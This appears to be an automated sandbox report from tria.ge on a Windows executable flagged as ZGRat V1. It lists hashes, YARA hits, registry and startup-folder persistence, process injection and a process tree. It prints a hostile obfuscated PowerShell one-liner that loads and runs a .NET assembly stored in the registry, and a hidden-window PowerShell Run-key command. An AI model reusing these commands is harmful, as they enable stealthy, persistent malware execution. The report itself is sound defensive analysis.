Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
99s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
14/05/2024, 05:31
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win10v2004-20240426-en
General
-
Target
file.exe
-
Size
4.5MB
-
MD5
96422a2b982c99614d31dff7f2b64680
-
SHA1
e8f25aa518b0ef54bcdf770479ef28dd99dd8efc
-
SHA256
fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16
-
SHA512
882beba69a0ab2d6f7d048ecb4666b9ba4fe3ea17387ece13fb5bd589ce0db4d7343fbce6e2d836192aed2a920aae4edd1f4b6fa090fe807d54e024dbc234de9
-
SSDEEP
24576:Epu+lTdASQBeSbtpO2+RZ8XK5OG/wS4gIVnxff9t+oQ9GXiqgbaaz2ub2UbRdL/h:EX
Malware Config
Signatures
-
Detect ZGRat V1 34 IoCs
resource yara_rule behavioral1/memory/1972-2-0x0000000005FC0000-0x0000000006200000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-3-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-4-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-18-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-24-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-6-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-40-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-12-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-28-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-44-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-46-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-48-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-50-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-56-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-60-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-62-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-66-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-64-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-58-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-54-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-52-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-42-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-38-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-36-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-34-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-32-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-30-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-26-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-22-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-20-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-16-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-14-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-10-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 behavioral1/memory/1972-8-0x0000000005FC0000-0x00000000061FA000-memory.dmp family_zgrat_v1 -
Modifies security service 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP svchost.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection svchost.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2632 created 436 2632 powershell.EXE 5 -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Wakgksusfez.vbs file.exe -
Executes dropped EXE 2 IoCs
pid Process 2520 $7795bd29 1036 $772ce69d -
Loads dropped DLL 2 IoCs
pid Process 1972 file.exe 1972 file.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\$772ce69d'\"" $772ce69d -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1972 set thread context of 2520 1972 file.exe 28 PID 1972 set thread context of 1036 1972 file.exe 32 PID 2632 set thread context of 3052 2632 powershell.EXE 33 -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30219e00c0a5da01 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2632 powershell.EXE 1972 file.exe 2632 powershell.EXE 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1972 file.exe Token: SeDebugPrivilege 2632 powershell.EXE Token: SeDebugPrivilege 1972 file.exe Token: SeDebugPrivilege 2632 powershell.EXE Token: SeDebugPrivilege 3052 dllhost.exe -
Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 1972 wrote to memory of 2520 1972 file.exe 28 PID 2060 wrote to memory of 2632 2060 taskeng.exe 30 PID 2060 wrote to memory of 2632 2060 taskeng.exe 30 PID 2060 wrote to memory of 2632 2060 taskeng.exe 30 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 1972 wrote to memory of 1036 1972 file.exe 32 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 2632 wrote to memory of 3052 2632 powershell.EXE 33 PID 3052 wrote to memory of 436 3052 dllhost.exe 5 PID 3052 wrote to memory of 480 3052 dllhost.exe 6 PID 3052 wrote to memory of 496 3052 dllhost.exe 7 PID 3052 wrote to memory of 504 3052 dllhost.exe 8 PID 3052 wrote to memory of 592 3052 dllhost.exe 9 PID 3052 wrote to memory of 672 3052 dllhost.exe 10 PID 3052 wrote to memory of 744 3052 dllhost.exe 11 PID 3052 wrote to memory of 812 3052 dllhost.exe 12 PID 3052 wrote to memory of 864 3052 dllhost.exe 13 PID 3052 wrote to memory of 1004 3052 dllhost.exe 15 PID 3052 wrote to memory of 296 3052 dllhost.exe 16 PID 3052 wrote to memory of 920 3052 dllhost.exe 17 PID 3052 wrote to memory of 344 3052 dllhost.exe 18 PID 3052 wrote to memory of 1252 3052 dllhost.exe 19 PID 3052 wrote to memory of 1336 3052 dllhost.exe 20 PID 3052 wrote to memory of 1376 3052 dllhost.exe 21 PID 3052 wrote to memory of 2664 3052 dllhost.exe 24 PID 3052 wrote to memory of 1680 3052 dllhost.exe 25 PID 3052 wrote to memory of 2060 3052 dllhost.exe 29 PID 3052 wrote to memory of 2632 3052 dllhost.exe 30 PID 3052 wrote to memory of 1956 3052 dllhost.exe 31 PID 3052 wrote to memory of 1036 3052 dllhost.exe 32
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:436
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bdc85aa1-fb2b-4e86-b5f7-d1bdea809142}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3052
-
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:480
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:592
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:672
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
- Modifies security service
PID:744
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:812
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1336
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵PID:864
-
C:\Windows\system32\taskeng.exetaskeng.exe {193CB52A-8235-40A2-B829-15996F0C90FC} S-1-5-18:NT AUTHORITY\System:Service:3⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue('$'+[Char](55)+'7'+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:1004
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:296
-
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:920
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:344
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1252
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:2664
-
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1680
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:496
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:504
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1376
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Drops startup file
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Users\Admin\AppData\Local\Temp\$7795bd29"C:\Users\Admin\AppData\Local\Temp\$7795bd29"3⤵
- Executes dropped EXE
PID:2520
-
-
C:\Users\Admin\AppData\Local\Temp\$772ce69d"C:\Users\Admin\AppData\Local\Temp\$772ce69d"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1036
-
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-5736592181577275068164228039811597435481741225853-1205417798-1395281556-412873299"1⤵PID:1956
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4.5MB
MD596422a2b982c99614d31dff7f2b64680
SHA1e8f25aa518b0ef54bcdf770479ef28dd99dd8efc
SHA256fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16
SHA512882beba69a0ab2d6f7d048ecb4666b9ba4fe3ea17387ece13fb5bd589ce0db4d7343fbce6e2d836192aed2a920aae4edd1f4b6fa090fe807d54e024dbc234de9